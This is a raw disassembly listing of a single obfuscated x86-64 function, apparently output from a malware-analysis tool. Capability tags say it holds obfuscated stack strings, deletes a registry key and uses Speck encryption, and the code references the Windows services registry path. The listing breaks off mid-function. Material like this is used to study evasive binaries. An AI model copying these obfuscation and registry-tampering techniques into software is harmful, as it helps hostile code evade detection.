Function at 0x14023f7ca
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Encrypt data using speck

Disassembly:
push rax
pushf
mov eax, 0x231cf0d4
pushf
not eax
add eax, 0xe5a1df47
xor eax, 0xabac038e
rol eax, 0x76
popf
pushf
not eax
add eax, 0xc8018430
xor eax, 0xb6e04495
rol eax, 0x2d
popf
pushf
not eax
add eax, 0x82a3671d
xor eax, 0xf269a531
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xf8b3223b
xor eax, 0xbbae4779
rol eax, 0xd6
popf
cmp eax, 0x29
jne 0x14023f82d
popf
pop rax
jmp 0x14024189d
cmp eax, 0
jne 0x14023f83c
popf
pop rax
jmp 0x14023faee
cmp eax, 3
jne 0x14023f84b
popf
pop rax
jmp 0x140240160
cmp eax, 1
jne 0x14023f85a
popf
pop rax
jmp 0x1402400b7
cmp eax, 0xd
jne 0x14023f869
popf
pop rax
jmp 0x140240938
cmp eax, 0x1a
jne 0x14023f878
popf
pop rax
jmp 0x14024111a
cmp eax, 0xe
jne 0x14023f887
popf
pop rax
jmp 0x140240989
cmp eax, 0xb
jne 0x14023f896
popf
pop rax
jmp 0x140240828
cmp eax, 0x19
jne 0x14023f8a5
popf
pop rax
jmp 0x1402410b7
cmp eax, 8
jne 0x14023f8b4
popf
pop rax
jmp 0x14024064d
cmp eax, 0x2a
jne 0x14023f8c3
popf
pop rax
jmp 0x1402418fb
cmp eax, 0x17
jne 0x14023f8d2
popf
pop rax
jmp 0x140240fb1
cmp eax, 0x1c
jne 0x14023f8e1
popf
pop rax
jmp 0x140241221
cmp eax, 0x2e
jne 0x14023f8f0
popf
pop rax
jmp 0x140241a31
cmp eax, 0x18
jne 0x14023f8ff
popf
pop rax
jmp 0x140241050
cmp eax, 0x2b
jne 0x14023f90e
popf
pop rax
jmp 0x140241973
cmp eax, 0x1b
jne 0x14023f91d
popf
pop rax
jmp 0x1402411a2
cmp eax, 0x2d
jne 0x14023f92c
popf
pop rax
jmp 0x1402419e5
cmp eax, 0x23
jne 0x14023f93b
popf
pop rax
jmp 0x1402415af
cmp eax, 0x25
jne 0x14023f94a
popf
pop rax
jmp 0x1402416d2
cmp eax, 0xf
jne 0x14023f959
popf
pop rax
jmp 0x140240a41
cmp eax, 0x13
jne 0x14023f968
popf
pop rax
jmp 0x140240cf4
cmp eax, 0x15
jne 0x14023f977
popf
pop rax
jmp 0x140240e3a
cmp eax, 0x24
jne 0x14023f986
popf
pop rax
jmp 0x140241640
cmp eax, 0x1e
jne 0x14023f995
popf
pop rax
jmp 0x14024134e
cmp eax, 0xc
jne 0x14023f9a4
popf
pop rax
jmp 0x1402408f5
cmp eax, 0x26
jne 0x14023f9b3
popf
pop rax
jmp 0x14024170b
cmp eax, 0x27
jne 0x14023f9c2
popf
pop rax
jmp 0x1402417a4
cmp eax, 0x1f
jne 0x14023f9d1
popf
pop rax
jmp 0x140241389
cmp eax, 0x10
jne 0x14023f9e0
popf
pop rax
jmp 0x140240ab7
cmp eax, 0x2c
jne 0x14023f9ef
popf
pop rax
jmp 0x1402419ac
cmp eax, 9
jne 0x14023f9fe
popf
pop rax
jmp 0x1402406c6
cmp eax, 4
jne 0x14023fa0d
popf
pop rax
jmp 0x1402401f5
cmp eax, 0x16
jne 0x14023fa1c
popf
pop rax
jmp 0x140240ef9
cmp eax, 0x28
jne 0x14023fa2b
popf
pop rax
jmp 0x140241822
cmp eax, 0xa
jne 0x14023fa3a
popf
pop rax
jmp 0x14024076c
cmp eax, 0x22
jne 0x14023fa49
popf
pop rax
jmp 0x1402414bc
cmp eax, 0x14
jne 0x14023fa58
popf
pop rax
jmp 0x140240dc1
cmp eax, 7
jne 0x14023fa67
popf
pop rax
jmp 0x1402403f4
cmp eax, 5
jne 0x14023fa76
popf
pop rax
jmp 0x1402402ef
cmp eax, 2
jne 0x14023fa85
popf
pop rax
jmp 0x140240107
cmp eax, 0x20
jne 0x14023fa94
popf
pop rax
jmp 0x140241426
cmp eax, 0x1d
jne 0x14023faa3
popf
pop rax
jmp 0x1402412bc
cmp eax, 0x11
jne 0x14023fab2
popf
pop rax
jmp 0x140240b5c
cmp eax, 6
jne 0x14023fac1
popf
pop rax
jmp 0x140240398
cmp eax, 0x2f
jne 0x14023fad0
popf
pop rax
jmp 0x140241a7d
cmp eax, 0x12
jne 0x14023fadf
popf
pop rax
jmp 0x140240b97
cmp eax, 0x21
jne 0x14023faee
popf
pop rax
jmp 0x1402414b9
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x140103090]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov rsi, rdx
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
lea edx, [rbx + 0x1f]
mov dword [rsp + 0x40], 0x43001f
mov dword [rsp + 0x44], 0x7a006d
mov dword [rsp + 0x48], 0x760078
mov dword [rsp + 0x4c], 0x6b006c
mov dword [rsp + 0x50], 0x66006d
mov dword [rsp + 0x54], 0x720043
mov dword [rsp + 0x58], 0x7c007e
mov dword [rsp + 0x5c], 0x760077
mov dword [rsp + 0x60], 0x7a0071
mov dword [rsp + 0x64], 0x4c0043
mov dword [rsp + 0x68], 0x4c0046
mov dword [rsp + 0x6c], 0x5a004b
mov dword [rsp + 0x70], 0x430052
mov dword [rsp + 0x74], 0x6a005c
mov dword [rsp + 0x78], 0x6d006d
mov dword [rsp + 0x7c], 0x71007a
mov dword [rbp - 0x80], 0x5c006b
mov dword [rbp - 0x7c], 0x710070
mov dword [rbp - 0x78], 0x6d006b
mov dword [rbp - 0x74], 0x730070
mov dword [rbp - 0x70], 0x7a004c
mov dword [rbp - 0x6c], 0x43006b
mov dword [rbp - 0x68], 0x7a004c
mov dword [rbp - 0x64], 0x69006d
mov dword [rbp - 0x60], 0x7c0076
mov dword [rbp - 0x5c], 0x6c007a
mov dword [rbp - 0x58], 0x1f0043
movzx eax, word [0x1400f251a]
xor ax, dx
mov word [rbp - 0x54], ax
movzx eax, word [0x1400f251c]
xor ax, dx
mov word [rbp - 0x52], ax
movzx eax, word [0x1400f251e]
xor ax, dx
mov word [rbp - 0x50], ax
movzx eax, word [0x1400f2520]
xor ax, dx
mov word [rbp - 0x4e], ax
movzx eax, word [0x1400f2522]
xor ax, dx
mov word [rbp - 0x4c], ax
movzx eax, word [0x1400f2524]
xor ax, dx
mov word [rbp - 0x4a], ax
movzx eax, word [0x1400f2526]
xor ax, dx
mov word [rbp - 0x48], ax
movzx eax, word [0x1400f2528]
xor ax, dx
mov word [rbp - 0x46], ax
movzx eax, word [0x1400f252a]
xor ax, dx
mov word [rbp - 0x44], ax
movzx eax, word [0x1400f252c]
xor ax, dx
mov word [rbp - 0x42], ax
movzx eax, word [0x1400f252e]
xor ax, dx
mov word [rbp - 0x40], ax
movzx eax, word [0x1400f2530]
xor ax, dx
mov word [rbp - 0x3e], ax
movzx eax, word [0x1400f2532]
xor ax, dx
mov word [rbp - 0x3c], ax
movzx eax, word [0x1400f2534]
xor ax, dx
mov word [rbp - 0x3a], ax
movzx eax, word [0x1400f2536]
xor ax, dx
mov word [rbp - 0x38], ax
movzx eax, word [str.___s]
xor ax, dx
mov word [rbp - 0x36], ax
movzx eax, word [0x1400f253a]
xor ax, dx
mov word [rbp - 0x34], ax
movzx eax, word [0x1400f253c]
xor ax, dx
mov word [rbp - 0x32], ax
movzx eax, word [0x1400f253e]
xor ax, dx
mov word [rbp - 0x30], ax
movzx eax, word [0x1400f2540]
xor ax, dx
mov word [rbp - 0x2e], ax
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
xor ax, dx
mov word [rbp - 0x2c], ax
movzx eax, word [0x1400f2544]
xor ax, dx
mov word [rbp - 0x2a], ax
movzx eax, word [0x1400f2546]
xor ax, dx
mov word [rbp - 0x28], ax
movzx eax, word [0x1400f2548]
xor ax, dx
mov word [rbp - 0x26], ax
movzx eax, word [0x1400f254a]
xor ax, dx
mov word [rbp - 0x24], ax
movzx eax, word [0x1400f254c]
xor ax, dx
mov word [rbp - 0x22], ax
movzx eax, word [0x1400f254e]
xor ax, dx
mov word [rbp - 0x20], ax
movzx eax, word [str.systemCurrentControlSetServices]
xor ax, dx
mov word [rbp - 0x1e], ax
movzx eax, word [0x1400f2552]
xor ax, dx
mov word [rbp - 0x1c], ax
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
xor ax, dx
mov word [rbp - 0x1a], ax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
xor ax, dx
mov word [rbp - 0x18], ax
movzx eax, word [0x1400f2558]
xor ax, dx
mov word [rbp - 0x16], ax
movzx eax, word [0x1400f255a]
xor ax, dx
mov word [rbp - 0x14], ax
movzx eax, word [0x1400f255c]
xor ax, dx
mov word [rbp - 0x12], ax
movzx eax, word [0x1400f255e]
xor ax, dx
mov word [rbp - 0x10], ax
movzx eax, word [0x1400f2560]
xor ax, dx
mov word [rbp - 0xe], ax
movzx eax, word [0x1400f2562]
xor ax, dx
mov word [rbp - 0xc], ax
movzx eax, word [0x1400f2564]
xor ax, dx
mov word [rbp - 0xa], ax
movzx eax, word [0x1400f2566]
xor ax, dx
mov word [rbp - 8], ax
movzx eax, word [0x1400f2568]
xor ax, dx
mov word [rbp - 6], ax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
xor ax, dx
mov word [rbp - 4], ax
movzx eax, word [0x1400f256c]
xor ax, dx
mov word [rbp - 2], ax
movzx eax, word [0x1400f256e]
xor ax, dx
mov word [rbp], ax
movzx eax, word [0x1400f2570]
xor ax, dx
mov word [rbp + 2], ax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
xor ax, dx
mov word [rbp + 4], ax
movzx eax, word [0x1400f2574]
xor ax, dx
mov word [rbp + 6], ax
movzx eax, word [0x1400f2576]
xor ax, dx
mov word [rbp + 8], ax
movzx eax, word [0x1400f2578]
xor ax, dx
mov word [rbp + 0xa], ax
movzx eax, word [0x1400f257a]
xor ax, dx
mov word [rbp + 0xc], ax
movzx eax, word [0x1400f257c]
xor ax, dx
mov word [rbp + 0xe], ax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
xor ax, dx
mov word [rbp + 0x10], ax
movzx eax, word [0x1400f2580]
xor ax, dx
mov word [rbp + 0x12], ax
xor eax, eax
mov word [rbp + 0x14], ax
mov ecx, ebx
nop dword [rax]
nop dword [rax + rax]
xor word [rsp + rcx*2 + 0x42], dx
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x44], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x46], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x48], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x4a], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x4c], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x4e], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x50], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x52], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x54], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x56], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x58], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x5a], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x5c], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x5e], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x60], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x62], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x64], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x66], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x68], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x6a], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x6c], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x6e], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x70], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x72], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x74], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x76], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x78], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x7a], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x7c], ax
movzx eax, word [rsp + 0x40]
xor word [rsp + rcx*2 + 0x7e], ax
movzx eax, word [rsp + 0x40]
xor word [rbp + rcx*2 - 0x80], ax
movzx eax, word [rsp + 0x40]
xor word [rbp + rcx*2 - 0x7e], ax
movzx eax, word [rsp + 0x40]
xor word [rbp + rcx*2 - 0x7c], ax
movzx eax, word [rsp + 0x40]
xor word [rbp + rcx*2 - 0x7a], ax
add rcx, 0x23
cmp rcx, 0x69
jae 0x140240084
push rax
pushf
mov eax, 0xfd7d678
pushf
not eax
add eax, 0x954924e3
xor eax, 0xd6ad3f52
rol eax, 0xce
popf
pushf
not eax
add eax, 0xb4e3ec3e
xor eax, 0x9895f746
rol eax, 0x53
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x1afeda96
pushf
not eax
add eax, 0xc35b0897
xor eax, 0x933555d5
rol eax, 0x20
popf
pushf
not eax
add eax, 0xdbaa69d9
xor eax, 0xa240ee03
rol eax, 0x48
popf
jmp 0x14023f81e
movzx edx, word [rsp + 0x40]
jmp 0x14023feee
mov word [rbp + 0x14], bx
lea rax, [rsp + 0x42]
mov rcx, 0xffffffffffffffff
nop dword [rax]
push rax
pushf
mov eax, 0xee4c10c2
pushf
not eax
add eax, 0xa161f8c9
xor eax, 0xaaa49da6
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xda38a970
xor eax, 0xced339c6
rol eax, 0xde
popf
pushf
not eax
add eax, 0xba4bef09
xor eax, 0xc59faad5
rol eax, 7
popf
jmp 0x14023f81e
inc rcx
cmp word [rax + rcx*2], bx
jne 0x1402401af
push rax
pushf
mov eax, 0x7cdd33ed
pushf
not eax
add eax, 0xeddfb52b
xor eax, 0xbdc518a5
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x99ab5f91
xor eax, 0xf856b3c9
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xb14285cc
xor eax, 0xef06635c
rol eax, 0xc7
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x198f22b
pushf
not eax
add eax, 0xdb89d05b
xor eax, 0xe42abac9
rol eax, 0x21
popf
pushf
not eax
add eax, 0xbdc3af2d
xor eax, 0xa1e20691
rol eax, 9
popf
pushf
not eax
add eax, 0x92394e86
xor eax, 0xb871aabe
rol eax, 0x32
popf
jmp 0x14023f81e
mov rdx, qword [rsi + 0x10]
movabs r15, 0xd6ee01b481289927
pushf
not r15
add r15, 0x445cd700
xor r15, 0x439c5d8d
rol r15, 0x15
popf
pushf
not r15
add r15, 0x5499b192
xor r15, 0x6c2fcceb
rol r15, 0x80
popf
pushf
not r15
add r15, 0x7e87a2ad
xor r15, 0x58ac5e34
rol r15, 0x98
popf
pushf
not r15
add r15, 0x65f0a060
xor r15, 0x61d8cfb5
rol r15, 0x85
popf
mov rax, r15
sub rax, rdx
cmp rax, rcx
jb 0x1402402a9
push rax
pushf
mov eax, 0x80f30a2c
pushf
not eax
add eax, 0xced88014
xor eax, 0xaa8b35ae
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xc0bb0efc
xor eax, 0xcd02aed7
rol eax, 0xf2
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x483f1179
pushf
not eax
add eax, 0xd6e1dbcc
xor eax, 0xb0efa6f8
rol eax, 0x22
popf
pushf
not eax
add eax, 0xf9cafdb6
xor eax, 0xd9a134c3
rol eax, 0x54
popf
pushf
not eax
add eax, 0xb4013571
xor eax, 0xd713a228
rol eax, 0x65
popf
jmp 0x14023f81e
mov rax, rsi
cmp qword [rsi + 0x18], 8
jb 0x140240352
push rax
pushf
mov eax, 0xae035114
pushf
not eax
add eax, 0xa1fa9434
xor eax, 0xbb3ca22a
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xf06dd05d
xor eax, 0x8feb0f80
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xd6ac388f
xor eax, 0x93847b1f
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xd8ab8083
xor eax, 0xefe83c25
rol eax, 0x29
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x5b391d44
pushf
not eax
add eax, 0xa52f04f2
xor eax, 0xea71a0e2
rol eax, 0x92
popf
pushf
not eax
add eax, 0xae531cf2
xor eax, 0xb5c2f9e9
rol eax, 0xad
popf
pushf
not eax
add eax, 0xcd317140
xor eax, 0xe2504ca5
rol eax, 0x86
popf
jmp 0x14023f81e
mov rax, qword [rsi]
push rax
pushf
mov eax, 0xef15d831
pushf
not eax
add eax, 0xc0f988ba
xor eax, 0xf6760b9f
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xf8c04380
xor eax, 0xbf33d5d7
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xaa105d4e
xor eax, 0xfbd93d93
rol eax, 0x93
popf
pushf
not eax
add eax, 0x8ef21d46
xor eax, 0xf39caa93
rol eax, 0x2a
popf
jmp 0x14023f81e
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x42]
lea rcx, [rbp + 0x70]
call fcn.1401a7fb8
nop
call fcn.14033bfc5
mov rdi, rax
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x70]
cmp qword [rbp + 0x88], 8
cmovae rax, qword [rbp + 0x70]
mov qword [rbp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], rbx
mov r8d, 0xcba162e
pushf
not r8d
add r8d, 0x8c46dbe1
xor r8d, 0xeb748d7e
rol r8d, 0xaf
popf
pushf
not r8d
add r8d, 0x8fc3ab03
xor r8d, 0xfdce41e8
rol r8d, 0xbe
popf
pushf
not r8d
add r8d, 0xf703d64a
xor r8d, 0x9314a5ba
rol r8d, 0xd2
popf
pushf
not r8d
add r8d, 0x80d29bb1
xor r8d, 0x8f7f9282
rol r8d, 6
popf
lea rdx, [0x1b4211b7d]
pushf
sub rdx, 0x7411f65d
popf
lea rcx, [rbp + 0x28]
call fcn.140259922
nop
call fcn.140342004
lea r12, [rdi + 0x40]
mov rcx, r12
jmp 0x1402404d5
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rdx, [rbp + 0x28]
mov r14, qword [rbp + 0x28]
mov r13, qword [rbp + 0x40]
cmp r13, 0x10
cmovae rdx, r14
movabs rdi, 0x92bd77a1b0760403
pushf
not rdi
add rdi, 0x78fb94bf
xor rdi, 0x7f237542
rol rdi, 0xe2
popf
pushf
not rdi
add rdi, 0x4142ac90
xor rdi, 0x4a02b690
rol rdi, 0x8c
popf
pushf
not rdi
add rdi, 0x6a15eb42
xor rdi, 0x56b9dd4f
rol rdi, 3
popf
mov r9, rdi
mov rcx, rbx
movabs r10, 0xbbb407e9442a9f96
pushf
not r10
add r10, 0x75242deb
xor r10, 0x5159549d
rol r10, 0x29
popf
pushf
not r10
add r10, 0x7f00ec2a
xor r10, 0x5806938b
rol r10, 0x82
popf
pushf
not r10
add r10, 0x4cc7e2df
xor r10, 0x4f90d8c8
rol r10, 0xe2
popf
pushf
not r10
add r10, 0x5df1c33e
xor r10, 0x42989a60
rol r10, 0x81
popf
mov r8, qword [rbp + 0x38]
test r8, r8
je 0x140240607
push rax
pushf
mov eax, 0x9d4c1e8c
pushf
not eax
add eax, 0x98b9a701
xor eax, 0xff9e7fda
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xe94314ac
xor eax, 0xed094305
rol eax, 0x63
popf
pushf
not eax
add eax, 0xc4f249b6
xor eax, 0x97829417
rol eax, 0x13
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0xadd696b6
pushf
not eax
add eax, 0xa53edeac
xor eax, 0xd35e8468
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xf2ba6835
xor eax, 0xde9d1610
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xc15e9efa
xor eax, 0xfd5ddef2
rol eax, 0xb7
popf
jmp 0x14023f81e
movzx eax, byte [rcx + rdx]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, r8
jb 0x140240693
push rax
pushf
mov eax, 0x8055d784
pushf
not eax
add eax, 0xa45fda65
xor eax, 0xc5e0e3dc
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xdadf770f
xor eax, 0xb3d02007
rol eax, 0x42
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0xf213f6c
pushf
not eax
add eax, 0x99a0fe1d
xor eax, 0x9344144b
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x8c5414e1
xor eax, 0xee7e1754
rol eax, 0xf4
popf
jmp 0x14023f81e
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x20]
call fcn.1402261bc
mov r8, qword [rax + 8]
test r8, r8
je 0x140240739
push rax
pushf
mov eax, 0x5fa76583
pushf
not eax
add eax, 0xdea88e9b
xor eax, 0xdc0abad6
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xcbd431b3
xor eax, 0xfbe2f329
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x97021066
xor eax, 0x9e4d3700
rol eax, 0x23
popf
pushf
not eax
add eax, 0xea744233
xor eax, 0xb6b762c4
rol eax, 0xb7
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x339e3bdb
pushf
not eax
add eax, 0x9adc5791
xor eax, 0xda2b4c1c
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xd5a06f79
xor eax, 0x8a4a8509
rol eax, 0x27
popf
jmp 0x14023f81e
mov rax, qword [rbp + 0x20]
cmp r8, qword [rax + 8]
je 0x1402407cf
push rax
pushf
mov eax, 0x95534d9e
pushf
not eax
add eax, 0xee2bfc14
xor eax, 0x879b402c
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xb3769218
xor eax, 0xe4f590c2
rol eax, 0x26
popf
pushf
not eax
add eax, 0xa33da721
xor eax, 0xfb212aad
rol eax, 0x33
popf
pushf
not eax
add eax, 0xa2b298cb
xor eax, 0xcbdeebf1
rol eax, 0x62
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x28bfdaef
pushf
not eax
add eax, 0xe181c439
xor eax, 0x930d06f6
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xd27e7b30
xor eax, 0xd3f57458
rol eax, 0xed
popf
pushf
not eax
add eax, 0xaad19566
xor eax, 0xb92dba61
rol eax, 0xad
popf
pushf
not eax
add eax, 0x8b483bfe
xor eax, 0xec675d3f
rol eax, 0xb6
popf
jmp 0x14023f81e
mov rax, qword [r8 + 0x30]
mov qword [rbp + 0x20], rax
mov rcx, r12
jmp 0x140240834
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rbp + 0x20]
test rax, rax
je 0x14024089c
push rax
pushf
mov eax, 0x4279245e
pushf
not eax
add eax, 0x8dbf817c
xor eax, 0x9f5fa2e9
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x9eb979e1
xor eax, 0xd9552481
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x832c7a7d
xor eax, 0x8dfb2e69
rol eax, 0x62
popf
pushf
not eax
add eax, 0xff1265b8
xor eax, 0xf21867fe
rol eax, 0x2d
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0xbc476f6d
pushf
not eax
add eax, 0xbbd21988
xor eax, 0x89ae9fca
rol eax, 0x10
popf
pushf
not eax
add eax, 0xe957dac3
xor eax, 0xea5097bc
rol eax, 0x17
popf
pushf
not eax
add eax, 0xd4595fb2
xor eax, 0xd85a8b66
rol eax, 0x91
popf
pushf
not eax
add eax, 0x90c55cce
xor eax, 0x9f7825e0
rol eax, 0xd
popf
jmp 0x14023f81e
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x60]
jmp 0x1402408fe
call rax
jmp 0x140240989
mov rcx, r12
jmp 0x14024093c
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
push rax
pushf
mov eax, 0xc2194528
pushf
not eax
add eax, 0xb25041f4
xor eax, 0x9e0e908e
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xeab8038b
xor eax, 0xf58eeaa2
rol eax, 0xe4
popf
pushf
not eax
add eax, 0x97279112
xor eax, 0x9ceab580
rol eax, 0x62
popf
jmp 0x14023f81e
cmp r13, 0x10
jb 0x1402409e8
push rax
pushf
mov eax, 0x47ffec69
pushf
not eax
add eax, 0xc463a276
xor eax, 0xdc5742f8
rol eax, 0x58
popf
pushf
not eax
add eax, 0x9d0a8f5d
xor eax, 0xe460a7ef
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xedb96144
xor eax, 0xd3ef5e2b
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xa63be8dc
xor eax, 0xa568b328
rol eax, 0xb
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x1eff4248
pushf
not eax
add eax, 0x93441feb
xor eax, 0x9ab5dc35
rol eax, 0x31
popf
pushf
not eax
add eax, 0x8252fe73
xor eax, 0x879e76ec
rol eax, 0xab
popf
pushf
not eax
add eax, 0xbe4d9988
xor eax, 0xd7977757
rol eax, 0x24
popf
pushf
not eax
add eax, 0xec3e0a94
xor eax, 0xab51a167
rol eax, 0xbf
popf
jmp 0x14023f81e
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140240a84
push rax
pushf
mov eax, 0xea6cb2a
pushf
not eax
add eax, 0xf4c83365
xor eax, 0xb52fcb9e
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x883ef675
xor eax, 0xe59aa366
rol eax, 0x4c
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x9de9db43
pushf
not eax
add eax, 0x9dfbfef9
xor eax, 0xb98ec19b
rol eax, 0x25
popf
pushf
not eax
add eax, 0xcc9f073e
xor eax, 0x9920c166
rol eax, 0xf
popf
jmp 0x14023f81e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140240b16
push rax
pushf
mov eax, 0x5a84aac5
pushf
not eax
add eax, 0xb49998dd
xor eax, 0x9023be91
rol eax, 0x31
popf
pushf
not eax
add eax, 0xac8d1571
xor eax, 0xc4129209
rol eax, 0x88
popf
pushf
not eax
add eax, 0xa3ac5cd8
xor eax, 0xbe995108
rol eax, 0xe5
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0xb0cba31b
pushf
not eax
add eax, 0xa9d25587
xor eax, 0xc736e676
rol eax, 0x92
popf
pushf
not eax
add eax, 0xc914511f
xor eax, 0x8eb8d794
rol eax, 0x48
popf
pushf
not eax
add eax, 0xceb1e4de
xor eax, 0xa7295ae7
rol eax, 0x32
popf
jmp 0x14023f81e
mov rcx, r14
call fcn.1401eb76d
push rax
pushf
mov eax, 0x5ca38251
pushf
not eax
add eax, 0xc00dee7f
xor eax, 0xd3d15c06
rol eax, 0x56
popf
pushf
not eax
add eax, 0xcd79e14e
xor eax, 0xc28db211
rol eax, 0xbd
popf
jmp 0x14023f81e
call fcn.14033bfc5
mov r14, rax
mov qword [rbp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], rbx
mov r8d, 0xc70d004c
pushf
not r8d
add r8d, 0x9eb72475
xor r8d, 0xd75b6999
rol r8d, 0x4c
popf
pushf
not r8d
add r8d, 0xd9aac1a8
xor r8d, 0x9d8f7604
rol r8d, 0x84
popf
pushf
not r8d
add r8d, 0x87e1fb19
xor r8d, 0xe69d6ae3
rol r8d, 0xf6
popf
pushf
not r8d
add r8d, 0xbeebfbc4
xor r8d, 0xd2e6a9f9
rol r8d, 0x3d
popf
lea rdx, [0x186a847ac]
pushf
sub rdx, 0x46992a8c
popf
lea rcx, [rbp + 0x28]
call fcn.140259922
nop
call fcn.140342004
lea r12, [r14 + 0x40]
mov rcx, r12
jmp 0x140240c45
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rcx, [rbp + 0x28]
mov r14, qword [rbp + 0x28]
mov r13, qword [rbp + 0x40]
cmp r13, 0x10
cmovae rcx, r14
mov rdx, qword [rbp + 0x38]
test rdx, rdx
je 0x140240cc1
push rax
pushf
mov eax, 0xa4e764f5
pushf
not eax
add eax, 0xeb4504d7
xor eax, 0xed433155
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xc78c1392
xor eax, 0xbd8c68c8
rol eax, 0xe9
popf
pushf
not eax
add eax, 0x9878e7df
xor eax, 0xe0589594
rol eax, 0xba
popf
pushf
not eax
add eax, 0xf87f4d5f
xor eax, 0xad66fe13
rol eax, 0xbc
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x488118fa
pushf
not eax
add eax, 0xf512face
xor eax, 0xa41a547f
rol eax, 0x83
popf
pushf
